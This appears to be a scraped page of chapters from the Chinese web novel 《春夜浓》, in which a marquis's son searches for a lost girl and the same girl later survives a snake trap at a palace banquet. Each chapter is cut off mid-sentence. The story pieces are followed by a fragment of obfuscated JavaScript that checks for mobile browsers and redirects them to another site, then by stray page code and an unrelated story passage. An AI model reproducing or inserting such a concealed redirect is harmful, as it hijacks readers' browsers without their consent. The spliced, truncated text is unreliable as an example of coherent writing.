经人提醒之后他才猛然反应过来。那小白眼狼此刻岂不是要被冷死了? 他视线转向长廊外,廊下石灯外围,一圈光亮处能见到鹅绒大小的落雪。 晏回南皱眉:“什么时候下得如此大了?” 怀绣道:“世子爷下马时便已经这么大了。” “哦。”晏回南愣了愣神,片刻后还是觉着气,嘴硬道,“与我何干。冷死那小白眼狼才好。” 怀绣疑惑:“世子爷你说什么?” 晏回南摆摆手,“无事。”他故意吩咐身后跟上来的司文道:“司文,明日一早随我去朱雀街寻雪人去。” 今夜没跟着晏回南的司文一头雾水:“什么雪人?” 晏回南:“让你去就去,废话那么多呢?” “是!世子。” 晏回南回到熟悉温暖的公主府之后,怒火不自觉便消了七八分。 见到长公主时,她正坐梅园当中的亭子里烹茶赏雪,辛梦和酥守侍奉一旁。亭中静谧能闻落雪声,还有烧得正旺的炭火噼啪声。 冷静下来的晏回南倒真觉得冷风太紧,着实有些冷了。 长公主见儿 17. 青梅嗅(5) 《春夜浓》全本免费阅读 辛梦和酥守全愣怔当场,辛梦疑惑不解地问长公主:“殿下,世子这是?” 长公主倒是饶有兴致地看着儿子远去的背影,笑靥如花道:“应当是遇上了某位,颇为有趣的姑娘。” 能让晏回南吃瘪,却又让他如此慌乱的女子,之前从未见过。长公主倒是挺好奇,究竟是怎样一位姑娘? - 晏回南和司文司武兵分三路,由朱雀街始,发散至周围街市,一个小姑娘而已,再快的脚程总也飞不出京城。 晏回南带着府兵沿着他和谢韵分别的湖畔出发,几乎把周围翻了个底朝天,却连半个人影都没有见到。 这可是人命关天的事。 晏回南毕竟年幼,虽霸道混账,却也不过是孩子间的打闹,但他从不草菅人命。他也从未因自己犯事而牵连到旁人性命。 所以当他发现自己真的找不到谢韵时,心里顿时慌了神。 找了一圈与府兵在朱雀街汇合时,司文正驱马返程,见到晏回南也只能无奈摇头,汇报道:“世子,没找到。” 不久,司武那边也来报,没找到人。 “怎么会找不到人?!不过一个豆大点小姑娘,怎么会找不到!”晏回南怒斥,“再去找,司文,你派人去大理寺问,近来采花贼可有什么线索,大理寺卿的人手若是不够用,定北侯府和公主府的人通通派去给他用!就算是把京城翻个底朝天,都得给我把人找到。” 司文自幼便跟在晏回南身边了,他熟知晏回南虽嚣张,但在定北侯面前,终究是胳膊拧不过大腿。他为难道:“可是世子,如此大张旗鼓,侯爷若是知晓了不好吧?” 晏回南冷脸:“人命关天的事,若是出了什么事我兜着!” “是!”众人高声回应道。 司文离开之后,晏回南又遣剩下的人扩大了范围。他则预备返回公主府,问问母亲谢府在哪。也许她已经被自己家人找到,回了家。 但他甫一进公主府便被一众士兵拿下了。 定北侯今夜在宴会上见到了喻霰与李巍,本以为晏回南能听一回话,老老实实过来了。谁知等了半天也不见人,上次太子生辰,他送的那是什么玩意?说的又是什么混账话? 喻霰、李巍今夜都是被父兄叫去宴会上亲自给太子赔罪的。可晏回南这个小兔崽子倒好,为了个什么小丫头竟连宴会都不去了。 “将世子送回房中,禁足一月。”定北侯晏景同站在晏回南面前,无情地看着自己顽劣不堪的混账儿子,不怒自威道。 晏回南震惊之余只见被派去大理寺的司文也在半路被人拦截回来。他自己则是被好几个人制住动弹不得,“父亲,你先放开我,我尚且有要事要办。” 晏景同训斥道:“你能有什么正事?该你做的事,你做了吗?为父反复叮嘱你今夜的宴会要去,你可曾放在心上?” 晏回南挣扎:“这次是真的。我若是不去,这辈子都会于心不安的。” 皇帝看上去对晏回南极为宠爱,但帝王之术,帝王之心总是难以捉摸的。伴君如伴虎这样的道理,晏回南一介小儿不懂,晏景同却不能不谨慎。 所以晏景同这回是铁了心要让晏回南长这个教训,而且从前晏回南扯起谎来连眼睛都不眨一下,他根本不会相信,只当他还是小孩子心性,骗他想要蒙混过关的。 “你于心不安的事情太多了,可曾想过你的所作所为是否愧对养育你的父亲母亲?你肆意殴打勋爵子弟,不将太子放在眼里,当众嘲讽他。他是储君,你眼中可有一丝敬畏之心?无法无天的孽畜,你给我好好反省一个月去!” “父亲!父亲!这是人命关天的事啊!”晏回南拼命挣扎着,奈何这些是侯爷精心训练过的得力亲兵,晏回南如何挣脱得开? 无论他如何说,晏景同都认为是晏回南为了逃脱所耍的花招。 晏回南根本没有机会问清楚谢府在哪,更不会知晓谢韵是否真的被家人接回。长公主放任晏回南胡作非为,从前晏景同在外征战时无暇顾及,但既然他如今已被皇帝召回京,便不能放任下去。 所以即便是长公主求情,晏回南这次也是非被禁足不可。 长公主次日来为晏回南送早膳时,只见他眼底一片乌青,不用细想便知是一夜未眠,双目通红,好似是哭过。作为亲密的母亲,她都是第一次见晏回南这幅脆弱无助的模样,看着心疼不已。 晏回南一见母亲便冲上去紧紧握住母亲的手,颗颗豆大的眼泪倏而滴落下:“母亲,我真的弄丢了一个人,一个活生生的人。我没有对父亲撒谎,我知道我错了。” 若她真因此丧命,抑或是生不如死,那么他此生都将难以释怀。 晏回南抽泣不止,哭得声哑了,心都要碎了,他也许本可以平安将她送回家,但他因自己的任性,他没有。 她也许真的会死,而他满心的愧疚。 晏回南生平第一次如此声泪俱下地哀求人:“母亲,你替我找到她,好不好?” - 上一回与晏回南不欢而散后,她同绿松一边哭一边问路,只回到了朱雀街。 原本早已心如死灰,以为不会有人来寻她们。谁料竟然见到了谢府家丁。 谢韵被带到谢府马车车驾前时,只见从不出府门的虞娘子从父亲的马车上下来,红着眼跌跌撞撞跑向她,并紧紧将她拥入怀中。 母女两人相拥而泣。 父亲谢青云并未下马车,只着小厮掀开马车帘子,冷淡道:“既已寻到人了,便回去吧,哭哭啼啼的做什么?” 虞娘子听到时微微愣怔了一下,神色微变,但迅速地,她擦干净泪,也替谢韵擦干净泪,强笑着抚慰女儿,牵着她上了后面跟着的一辆马车。 马车在渐暗的街道上缓缓行驶,驶入更寂静的街道,这距离朱雀街已经很远了。 谢韵许多年后才晓得,虞娘子是谢青云穷困潦倒时的糟糠之妻,后才沦为妾。而谢韵走丢一事,在这之后再无人提起。 父亲对虞娘子唯一的顾怜,也许便是掀开帘子那一眼。所有的前尘往事与旧情,只在今日他拨开公务,助她寻回唯一的孩儿。 余下的事全权交与赵夫人处置,对谢韶华弄丢妹妹一事,只轻描淡写地一笔带过,归为谢韵自己乱跑走失,而非谢韶华和谢韺的过错。 元夕后,又过了月余,是谢韵父亲谢青云的生日寿宴。 那日春风拂人面,吹落一树花,幽香满园,正是适合游园的日子。府中人来人往,来的多是父亲的同僚及其家眷。这些家眷谢韶华从前随赵夫人出席各位大人家的酒宴时许多都曾见过,如 18. 青梅嗅(6) 《春夜浓》全本免费阅读 谢韵定睛一看,一群人,乌泱泱的,领头的便是谢韶华,余下的是她不认识的京城贵女们。 绿松心底大叫不好,“小姐,你快把猫扔出去吧,现在被二小姐看到了她不仅不会放过了,连这猫她也会命人杀了啊。” 谢韵自然知道。尚未来得及等谢韶华命令她什么,谢韵便抱着猫往反方向拔腿便跑,她知道府中有一处狗洞,那里可以把猫放出去! 谢韶华见谢韵跑了,连忙提裙跟在后面追,“谢韵,你还不快放下那只猫!” 家丁们跑得快,三两下便追上来,将猫抢过。 谢韶华连带着一群贵女跟上来,她微喘着气,咄咄逼人道:“你知不知道这猫刚刚挠伤了柳尚书家的小姐,你竟然胆敢给这只孽畜包扎!你安的什么心?” 谢韵不认识什么柳尚书家的小姐,更不知道这猫儿竟然挠了人。 “我不知道。”谢韵摇头。 谢韶华被谢韵这一副无所谓的态度气坏了,愤恨地抬手指着谢韵:“你!母亲治家严谨,向来不会允许此等孽畜养在家中,定是你带进来的,你还不快些去给柳小姐赔罪。” “不是我带进来的……”谢韵辩驳道。 谢韺却连忙拉回谢韶华的手,“你这般护着这孽畜,不是你还能有谁?” 但谢韺帮谢韶华掩住的袖口里一闪而过的纱布还是被谢韵捕捉到了。和她们站在同一边的女伴也许看不到,但正对着她们的谢韵却能看到。 谢韶华似乎也反应过来了,神情微变,手也下意识往后藏,补充道: “母亲再三叮嘱过府上不许养猫,胆敢在府上偷养的,除了你这个向来不服管教的再也没旁的人了。” 谢韵在家中地位虽像个好揉捏糯米团子,但她可一身反骨,最厌恶旁人污蔑自己。她白净的小脸都皱了起来,正要开口。 却听一道略显稚嫩却极威严、有震慑力的声音,这声音甚至有些熟悉: “长公主的宝贝,你们是跟哪路神仙借的胆子,胆敢说它是孽畜?” 众人循声望去,不远处的莲池旁出现一队行色匆匆的人。 为首那人走得很快,直奔这里,身后的侍从连带着也走得飞快。只见他纵身一跃,轻松翻过莲池旁的石栏,威风凛凛地走过来。 这些贵女当中不少人曾听闻过这位京城大名鼎鼎的小侯爷,他竟然会出现在一位五品官员的家中!倒是那柳尚书家的小姐知道,晏回南的父亲便是谢青云如今的顶头上峰。 所以他能出现在这里也并不稀奇。 “小侯爷?”柳诗筠神色惊慌不已,连带着余下的人一同大惊失色,纷纷行礼,“小侯爷,这猫,竟是长公主的?” 只是纵使如此,晏景同和长公主也不曾现身,只着人送了礼来。所以晏回南为着什么要来? 晏回南身上有种与生俱来却不惹人嫌的优越感,他并不把这些人放在眼里。他刚一靠近,谢韵怀里的猫儿便挣扎着蹦下来,跑到晏回南脚旁,亲昵地蹭他。 他俯身捞起小猫,怜惜地抱在怀里,一眼便发现了它被包扎过的爪子,抬眼问谢韵:“你包扎的?” 谢韵见到晏回南心中仍后怕,他的手上已瞧不见伤口,也没有疤痕。但是她终归是得罪了这位惹不起的主。 她胆怯地点点头。 谁知晏回南竟然说:“很好。”说完他又对余下的人说,“这是我母亲最疼爱的猫,若是真被你们杀了,十个柳诗筠也不够赔的。” 此番话一出,吓得柳诗筠和谢韶华一干人等顿时吓得跪倒在地。谢韵见状也要跪,谁知晏回南竟然抬手紧紧拉住她。 谢韵整个人都在抖,她可是帮了这只猫的,他难道还要报复她吗? 她圆圆的两只眼睛湿润可人,就像他怀里这只粘人的猫一样,而他向来雷厉风行,做事肆意妄为,毫不顾忌后果。可是这一瞬,谢韵微微颤动的睫毛鬼使神差般地牵动了晏回南的心,让他开始思考自己这是不是吓到她了。 于是,他清了清嗓子,低声温柔对她说:“你不用跪。” 他的声音清澈干净,压低声音时带着对她的无限纵容与包庇,这让她胆战的心脏跳得更加剧烈,可也放下了心。 他这样,应当是将今日之事与之前抵消了吧?他应当是不生气了吧?但是他对着其他人还是一副非常生气的模样。 谢韵惊讶地看着这幅场景,从前都是她不得不向人低头,受人欺负。她从没体验过,从前欺负自己的人惊慌失措地跪在自己面前,跪了一地。 虽然不是跪她,可这场景也已足够震撼到她小小的内心。 晏回南挑眉得意看她,仿佛在说:怎么样,我厉害吗? 谁知今日本不该出现在这里的长公主随后也现身,一同出现的还有赵夫人等其他女眷。 长公主笑吟吟地在司文的引导下往这处走来,赵夫人的脸色则是难看到了极点。也不知晏回南是何时着人去寻的长公主。 长公主笑着接过晏回南手中的猫,心疼地抚摸着它的爪子,“这爪子是怎么弄的?” 司文道:“世子带鱼丸先来时,刚进门便被门口的大狼狗吓得跑丢了。我们和世子刚找到时,它便被伤成这样了。奴才刚刚去寻公主时,听到有人说府上捉了只野猫,谢小姐正带着人要去杀了它丢出城呢。” 赵夫人闻言立时被吓得脸色惨白,连忙跪下,对公主说道:“长公主赎罪!是臣妇,臣妇一靠近猫便浑身发红起疹子,瘙痒难忍。小女,小女并非是要杀它,只是将它送出府外。臣妇实在不知这猫是长公主的爱宠,若是知道必定妥帖寻回将它交还给长公主的。求长公主赎罪!” 柳夫人见女儿脸上一道血痕,眼泪登时落了下来,惊恐地扑到自己女儿面前,“府医!还不快去叫府医来。”又抱着自己的女儿,声泪俱下地哀求公主,“长公主,这事诗筠显然是受害者啊,女儿家的容貌若是毁了,此生就算是完了……” 长公主向来仁慈,并不是个恶毒、高高在上的恶人。她今日也本不欲来这宴会,只不过恰巧晏回南找的小姑娘便是这家的。 她命人拿了自己的名帖去宫中寻太医来,然后又弯腰用手抬起柳诗筠的头,仔细看了看道:“不过鱼丸向来是只温顺略微胆怯的孩子,若非有人故意招惹它,想来它不会主动伤人,更何况它受了惊吓,应当 19. 露华浓(1) 《春夜浓》全本免费阅读 记忆里逐渐远去的少年,如今近在咫尺,两人之间却仿佛相隔千里万里。痛苦纠葛的过往,如同晏回南背后深深的伤疤一般,此生都不会愈合。 谢韵的眼泪沾湿了大片的棉被,窗外的阳光却暖洋洋地照进来,落在她身上。这缕阳光逐渐唤醒了谢韵,她还有很重要的事情要做,她不能颓丧。 虽是初经人事,但谢韵作为医者,还是通晓行房事之后,若不做好防护,便有可能怀孕。 一想到晏回南,谢韵的心口便酸涩苦闷。此情此景,她自然是不愿怀上孩子的! 便自行写了个方子,命人照着方子去医馆抓药。 并派人雇来了几十位专事种植花木的匠人,光是除去阖府上下的杂草枯木都用了五日。 这些日子谢韵也没闲着,做了个严格的督工,亲自上阵盯着这群人除草木。 翻新将军府不是谢韵的目的,借着这个由头探究府中结构才是。最重要的是先从身边下手,寻一寻这府上是否有密室暗道,她甚至不知道晏回南究竟将飞镜关在了何处。 而自上次之后,晏回南连着五日都宿在军营当中,不曾回府。这倒是让谢韵大大地松了口气,不仅给了她探查将军府的好机会。 而且同房的次数越少,她便无需时常服避子汤,这些汤药服多了终归是于她身子无益。 午后,花妙眼见着谢韵跪完祠堂后,一言不发、一瘸一拐地离开了。纵使她再想挑错也挑不出,闷闷不乐地回了怀绣姑姑身边。 “姑姑,夫人刚从祠堂出来便又去监督花匠们了。她这明摆着是要讨好蛊惑将军,令将军心软后好省了她跪祠堂!可是她一介罪臣之女,如何当得将军的结发妻子,咱们将军府的正牌夫人?!”花妙愤愤道。 怀绣连日只见府上人进进出出搬运花木、花肥等各式物品,从上忙到下,她每日眼睛盯得死死的,却瞧不出谢韵的真实目的。谢韵每日的罚跪也不曾落下,怀绣只当她是为讨好晏回南才如此大动干戈,用心料理府上。 “哼,她自然是不配的。咱们将军自幼便是天之骄子,天纵英才,金枝玉叶地长大。她是什么人?如今更是连给将军提鞋都不配。”怀绣恨意浓重,“不过将军府荒废了这许久,从前我每每提出要修缮,将军都体恤我,不愿我过于费心费力,况且府上的确人丁稀薄,才一直不曾修缮打理。既然她有这个心,知晓将军既给了她体面,她便要尽到责任。那便任她去做吧,总不能一直让将军住这荒宅。” “可是……若是她真魅惑了将军,将军不忍杀她,岂不是太过有违孝道?”花妙谨慎开口。 怀绣忍不住眉头紧锁,“放肆,将军行事必定有他的理由!岂是你能妄自揣测的?自行掌嘴二十去。” 花妙顿时委屈地跪下,当着怀绣的面,泪眼婆娑地颤抖着抬手一下又一下扇起自己巴掌。 怀绣心里却忍不住想起另一件事:谢韵…… 当年长公主秘密外出,惨死之后,凶手一直下落不明,而那日之后,紧接着谢青云一家便消失得无影无踪。 两件事接连发生,实在太过巧合。 谢韵那日问出的问题,她究竟是装的,还是真不知? - 这府邸是旧宅,工匠的工程图谢韵拿不到,只能全凭自己一点一点丈量摸索。她绘画技艺精湛,这几日她将府上都走了个遍,画出了整个府邸的格局,为了掩人耳目,她还特意重新绘制了图。 将设计出的各院子布局分别绘制了出来,交给工匠作为参照。 她则是借着监督的名义,在各个院落、房间里探查是否存在密室。 她幼时喜爱折腾工匠技艺,随宫中匠人学了许多建筑设计方法,对于在何处留密道、如何设计机关略懂一些。 只是她那点皮毛,在这座府邸的建造者面前确实有些不够看了。她竟没找到一处可用作密室的空间。 “夫人,你命人从江南买的栀子花树运到了。”寒真带着一列人进来,她前些天受的伤在谢韵的照料下好得很快,如今已经能下地了。 谢韵正低头专注于自己画的图,既然做了便要做好,她把这些日子发现的问题又做了修改,此刻正执笔在图上修改。 她匆匆抬眼瞥了一眼,俱是些生面孔,常年务农让他们的皮肤晒得黝黑,脸颊泛着粗糙的红。她的视线又扫了眼栀子花树,便说:“搬去听荷苑吧。” 说完便挪开了视线。 寒真点头:“是。” 谁知走了没几步,一个莽撞的匠人路过谢韵所处的台面阶下时,忽然放下肩上扛的花树,捂着小腹,操着一口谢韵再熟悉不过的锦城口音道:“姑娘,敢问府上茅厕在何处?” 寒真闻言,抬手招呼了个小厮来替上他,给他指了个方位。 那人起身时露出了遮阳斗笠下的一张脸,意味深长地看了一眼谢韵。 ! 那人,谢韵曾在谢润养的暗卫中见过。 他是谢润的人。 谢韵正发愁如何同弟弟取得联系呢。现如今看来,应当是楼承没把她顺利带回去,却反倒意外让谢润知道了她被晏回南带走的消息。 好弟弟,真聪明!姐姐没白疼你! 她环顾四周,趁着无人在意时,悄悄往刚刚那暗卫消失的方向走去。 果然,那人在花园隐秘处候着她。 谢韵刚到那,那人便跪下道:“小姐,属下卫鸿,是谢三公子派来助小姐逃里京城的。三公子一月前才得到消息,说小姐被晏回南带回大周了,连忙派了属下来。是属下无能,一直到现在才寻到机会混进来。” 谢韵示意他起身:“不必拘礼。这也不能怪你,晏回南的府邸若是这般好进,大周早覆灭了。” 自大梁都城要想渡过重重关隘,还能一月之内便抵达,必定是废了一番功夫的,想必是跑死了几匹马。 “眼前最要紧的事情不是我,飞镜被抓了。”谢韵神色凝重道,“我如今便是想试着探寻这府邸是否有地牢。但目前并未发现。” 卫鸿:“我抵达京城时,试着联系了京中暗桩,这些暗桩飞镜也是知晓的。他们中间有过一次联络,飞镜应当是被关在了大理寺。” 飞镜和暗桩联络的那次,应当就是宫里来人为她量体裁衣制婚服那次。 谢韵:“若是在大理寺,劫狱是不可行的了。但既然知道了人在哪,总归是有办法可想的,先容我想想办法。” 20. 露华浓(2) 《春夜浓》全本免费阅读 晏回南的神色依旧淡淡的,但他就那么一直盯着她,盯到她心里发毛他才开口道:“这不是家。不是我的,更不是你的。你少自作多情。” 他早没有家了。他曾经的家中有温柔美丽的母亲,有威严但名动天下、威震四方的父亲,有一群跟着他厮混的小厮、时常来串门的友人。 可现在呢?他永生永世都不会忘记,他见到母亲的最后一眼,她的样子。 永生永世都不会忘记,他在穷骨峡寻到的父亲的骸骨。 他不需要这一点聊胜于无的温暖。他的周身早已冷如冰川。 谢韵看着他渐暗下去的眸子,不禁畏惧地咽了口口水,“如果你是孤魂野鬼,那我也是。既然你已经不放过我了,我给自己的住所收拾妥帖有什么不对。” 晏回南不置可否,慢条斯理地抽回手,又抬手拂了拂她鬓角的绒絮,讽刺道:“好啊,既然你想讨好我,你可以做的更明显些。但受不受用,全凭我心情。” 谢韵:“……”她此刻恨不得自己那晚用那把匕首,当场便将他杀了。但幸好晏回南并未看出她此举的真正目的。 “明日有宫宴,你随我同去。”晏回南说。 难怪他今日会回来。之前拍拍屁股便走了,一句话都不曾留下便将谢韵留在这府邸,日日罚跪。 有意冷落她?还是在筹谋什么? 宫宴,那对于谢韵而言,那岂不是老熟人重逢大聚会?而且还是个个都对她恨之入骨,恨不得杀了她的那种…… 她这一去就是把自己做成了盘菜,任由桌边的人处决。晏回南究竟安的什么心? “我去不合适吧?”谢韵迟疑道,“带上我,岂不是明目张胆地给你自己招恨。” 不过当晏回南说出宫宴的那一刻,谢韵心中竟然萌生了一个念头。若想不经过晏回南便救出飞镜,也许去见一见老熟人不失为一个良机。 晏回南从前得罪的人并不少,表面对他阿谀奉承,背地里不知多恨他。毕竟敌人的敌人就是朋友。 “你挺有自知之明的,但这不是你该担心的事情。”晏回南的语气不容反驳。 他同从前一般不把人放眼里。但这一次是源自于他自己的底气。他不再需要依仗母亲长公主的身份,不再需要依仗自己小侯爷的身份,他此刻全部的底气都是他在沙场搏杀得来的。他的高抬贵手愿意给予谁,便是谁的荣幸。谁也不能撼动他的地位。 - 此次宫宴是为庆贺皇长子一周岁生辰。这是当今圣上嫡长子,也是最得圣宠的皇子。 今日谢韵穿了一领金线云纹白绸衫子,下着葡萄石榴纹缬绿夹裙一腰,披青纱帔子,青丝上簪着熠熠生辉的金饰,柔美明媚中也透出她骨子里清冷疏离的气质。 在路上时寒真絮絮叨叨地说着自己即将初次入宫的激动心情,并说据传皇长子出生时蓬莱仙山的白鹤齐飞,绕岛上仙山足足环游了三日不落。 此消息一经传回京中,举国上下皆以为此子将来必能承大业,创太平盛世。皇帝大喜,当即大赦天下。如今皇长子的周岁宴,也是抓周礼,更是办得隆重非常。 谢韵偏过头,掀起马车的帘幕,看街上行人为镇国大将军的仪仗行跪礼。 震惊、怅惘、忧愁、不安,一时之间各种复杂的情绪涌上心头。 刚入宫门,晏回南便被紫宸殿内侍请去殿内议事。留谢韵一人,照例她今日要先去给皇后请安。 “烦请公公带路。”寒真道。 寒真和谢韵之前从未入过后宫,猛一进入这里犹如无头苍蝇,内侍带着如何走便如何走。 只是这路越走却越偏僻荒凉,谢韵自从进了这宫门一颗心便悬着,她及时察觉出了不对,“等等,你这带的什么路?” 皇后怎么会住在这么偏僻的院落? 内侍道:“晏夫人,您初次进宫不认识这小路。此时其余夫人已经到了,晏夫人您已然迟了。故而奴才带您走这小路,能快些到皇后寝殿。” 谢韵的警惕性非常高,许是多年谨小慎微的生活,以及后来的逃亡路上,以至于她对于旁人有过高的防备心和警惕性。 但她确实不认识路,她若是自己乱走,也并不是明智之举。 谢韵内心不安地转了转食指上的玉戒,暗暗祈祷着晏回南真的神通广大到在这皇宫中也有暗卫。 果然,如那内侍所言,穿过这条荒凉小路,再弯弯绕绕地拐了几个小道,果真豁然开朗,复又看见了富丽堂皇的宫殿,殿内参天的银杏树在风中摇曳,如同一团绿云。 “夫人,到了。” 谢韵抬眼看了眼宫殿的牌匾,不错,正是皇后寝殿的牌匾。她这才放心地踏进去。 可她和寒真刚进门,那内侍竟然将门迅速关上,只听铜器碰撞,再“咔哒”一声落了锁。 谢韵内心警铃大作,寒真也反应过来,连忙过去拍门,“你这是做什么?!还不快把门给打开!” 内侍落了锁之后便匆匆离开了,这下真是叫天天不应,叫地地不灵。 谢韵想过自己入宫不会这般一帆风顺,毕竟那么多双眼睛盯着她,恨不得杀了她。但她此时也免不了心底发慌。 这院墙高耸入云,周围无可踏之处,“寒真,去屋子里看看有没有桌椅,若能搬出来,咱们翻出去也行。” 她后悔自己近些日子没办法制作信号弹。若是有信号弹,只消在宫中放一发,无论如何总会有人来的。 她之前在大梁时,曾随楼承去过他管辖之下的军器所,跟所内的工匠学习过火药的制作方法。幼年时她便爱炮制烟花,那时还十分不成气候,但随大梁的工匠学过之后,只要有材料,她也能制作出火药来。 但近半年,她没有机会接触这些材料,也就没法制作了。 “好。”寒真用力点点头。 可她刚一推开殿门,几个竹篓从房屋上方掉落下来,随之而来的还有从竹篓中爬出来的蛇。这些蛇有的身上有着赤色横纹,有的颜色艳丽,在掉下来的一瞬间有两条蛇径直掉落在了寒真的身上。 “啊!!啊!!” 寒真被吓得惊叫连连,她没什么经验,蛇掉在身上只会凭着本能用手拨。谢韵也被吓得心惊肉跳,但她顾不得其他了,这些蛇都有剧毒,若是寒真被咬了,恐有生命危险。 “寒真,冷静下来,别动。别惊到它们。” 寒真身上挂了两条蛇,一条在她的脖子上往身下游走,另一条在她的胳膊上。后者是寒真也可以抓到的。 “听我说,打蛇打七寸,我曾见过捉蛇人徒手捉蛇,他们是趁其不备,一把捏住蛇的七寸,蛇便难以逃脱了。我等会儿抓你身上那条,你看准时机抓你胳膊上那条。” 谢韵怕得快晕倒了。但她不知哪来的勇气,看准时机,三步并作两步,冲到寒真身旁,抬手准准地掐住了一条蛇的七寸,用力将它从寒真的胳膊上扯了下来。 与此同时,寒真胳膊上那条蛇也非常警惕地盯着寒真。但此时此刻还能有别的方法吗? 21. 露华浓(3) 《春夜浓》全本免费阅读 宴会厅内,众宾齐聚一堂,大殿之上的龙椅上端坐着皇帝,身边坐着的是皇后。 皇后一身华服,看上去雍容又华贵,但她微微含笑的面容和炯炯有神的眼睛令她看上去十分睿智。 殿内歌舞升平,宴会已经开始。 “谢韵呢?”晏回南蹙眉问一旁的司武。 司武道:“禀将军,已经派人去寻了。想是夫人初次入宫,不认识宫中的路,迷路了。将军您是知道的,夫人从前也常常迷路。” “废话,我的意思是怎么还没找到?”晏回南一记眼刀甩过去,吓得司武支支吾吾半天也说不出一个所以然来。 皇宫在天子脚下,又这么大,找个人当然是不好找的。更何况若是夫人有心躲起来,随便躲进哪个宫殿里,怎么可能还找得到嘛? 当然这些话司武是不敢回嘴的,他只敢说出自己的一丢丢推测,并且是以非常谨慎的态度说出:“夫人有没有可能……伺机逃跑?” 司文在后面踹了司武这个口无遮拦的家伙一脚。 晏回南的脸色果然变得不是很好看,因为他知道谢韵此时此刻一定满心都是逃跑,逃离他的身边,但他很快又恢复了神色,“她不会。” 谢韵的骨子里有自私的一部分,在很多事情面前她也许会暴露出这一部分。但在大是大非面前,她不会。 只因她心中仍存有侠肝义胆的一部分。只要飞镜还在他手上,谢韵便不会轻易逃跑。 “若是她敢跑,我定叫她此生都后悔自己今日做的这个决定。”晏回南慢条斯理地端起茶盏品了一口。 与此同时,皇帝身边的公公捧着一个精致的紫檀托盘走来,“还请大将军赐宝。” 取东西是为给皇长子抓周用。 晏回南头也不抬,随手从左手食指上摘了一个骨戒下来,平静地补充:“这是由大梁皇帝侄子心口的肋骨所制。公公拿稳了。” 毕竟是在皇帝身边伺候的,还算是见过大场面,不免被晏回南这句话震慑到,但还是保持着应有的冷静,“是,奴才明白的。” 那太监走后,不远处传来一道娇俏的女声,似乎全然不将这骨戒背后的血腥与残忍放在眼里,“肋骨如何制的骨戒?子游哥哥告诉我好不好?” “长衡公主来了!” “长衡公主!” “公主直接坐在了将军身侧,我听闻将军不是新娶了正妻么?怎么,是我的消息有误吗?”底下不知究竟是哪家的家眷在小声议论。 “你有所不知,咱们这位将军行为太过乖张。你可知他娶的是谁?” “谢青云之女,谢韵!” “什么?!” 此言一出,那些不知情的官员及其家眷纷纷向晏回南投来异样的目光,眼神中掺杂着怨恨、厌恶、不解、恐惧一干复杂的情绪。 长衡内心不禁窃喜,她就是要看到这些人知道晏回南娶的人是谁之后,所表露出来的这些厌恶的情绪。 谢韵,谢家人是全大周的罪人。你怎么配成为晏回南的妻子?你应该受千万人唾弃。 长衡不明白为什么晏回南会对谢韵如此念念不忘,即便是多年后,即便是他们之间隔着千重山万重恨,他依然要娶她为妻。 她将才在一众目光中,坦然地坐在了原本应当是谢韵坐的席位上。 晏回南不悦的神情溢于言表,也没什么心思同门外汉讲解什么骨戒的制作方法:“公主不会想知道的。” 长衡却不依不饶,像个被宠坏了的小女孩一样,丝毫不顾及晏回南已是有妇之夫,仍旧同幼年时自己对身边宠爱她的人撒娇一样,对着晏回南撒娇。 晏回南幼年时也不惯着长衡,偶尔几次顺着她的意思来,也只不过是晏回南想在皇帝舅舅面前讨点好处,故而了几回乖,也就顺着长衡的性子来了。 他从不吃撒娇这一套。 司文刚得了晏回南的眼神暗示,想要阻止公主,却忽然听一道声音传来: “自然是将人杀了之后,在人将死未死之时,抽出其肋骨,趁着血尚温,骨在血液的浸润下变得湿软,再用挫骨刀一点一点将其凿孔,磨穿,并在外壁上雕刻出花纹。这样做出来的骨戒才漂亮,骨头都被血浸透了,哑白的骨戒上便透着红丝一般的纹路。” 众目睽睽之下,谢韵仪态端方地走进了大殿,微笑着解答了长衡的问题。晏回南在听到谢韵镇定自若的回答之后,目光便一直追随着她。似乎这样的话从哪个女子口中说出都令人惊讶,但只有谢韵,让他内心诡异地生出一丝骄傲。 长衡见到谢韵时惊讶地眼珠子差点瞪出来,“你怎么会在这?” 谢韵怎么会全须全尾地出现在这里?!她明明派人…… 她赤手空拳是怎么从毒蛇环绕的情况下逃脱的? 长衡愤怒地用眼神质问自己身边的宫女。办事的宫女似乎无论如何也想象不到为什么谢韵不过一介女子,是如何做到的? 谢韵疑惑歪头,一脸人畜无害地问:“我怎么不该在这?公主难道知道什么吗?” “你!”长衡心里又气又疑惑,她强压下怒火,“我能知道什么。我只是惊讶,你竟然有胆量站在这里。” 谢韵没回答她,而是跪在殿内行礼,“请皇上、皇后赎罪。臣妇初次入宫,不识宫内道路,一时迷路才误了时。实乃无心之举。” 皇帝内心对谢韵充满了恨意,但是一想到刚刚晏回南说的“非娶谢韵不可的理由”,他也只好先忍下了对她对谢家的恨意。 皇后今日还是第一次见到这位被传的神乎其神的女子,果真有着一副令人移不开眼的美丽容颜,纵使同为女子,她也不得不惊叹于谢韵的美貌。而且最令皇后震惊的是,即便是处在这样四面楚歌的环境当中,谢韵的身上也有一股淡然自若的气质,不怒而自威。 果然,只有这样的人站在晏回南身畔才不突兀,甚至显得格外登对。 皇后心中甚至有一种感觉,谢韵并非要与晏回南相配,反而是晏回南成为如今的晏回南之后,才能与之相配。 “既如此,便先入座吧。”皇帝抬手示意,却并未让人为她引路,也没有制止长衡鸠占鹊巢的行为。 谢韵道:“谢皇上!” 谢韵行礼的动作露出了她手背上刚刚包扎好的伤口,她神色未变,淡淡看了一眼晏回南,以及站在晏回南身边的长衡。 笑道:“公主,你还要一直占着我的席位吗?” 在座的都是长衡的底气,她也丝毫不示弱:“什么叫你的席位?这是我宋家天下,哪来你的地方一说?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897858|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁股,人和马一溜烟儿地就窜出去了。果然是,即便是再兴奋,睿王也没说话,就连一声喜悦的惊呼都没有。 解决完这件事之后,晏回南拍拍手拉着谢韵便要往校场外走。 原本谢韵正在思考若有机会,她也许可以帮助治疗睿王这个情况,却忽然被拉着往外走,她皱眉:“你就这么把他扔在这了?” 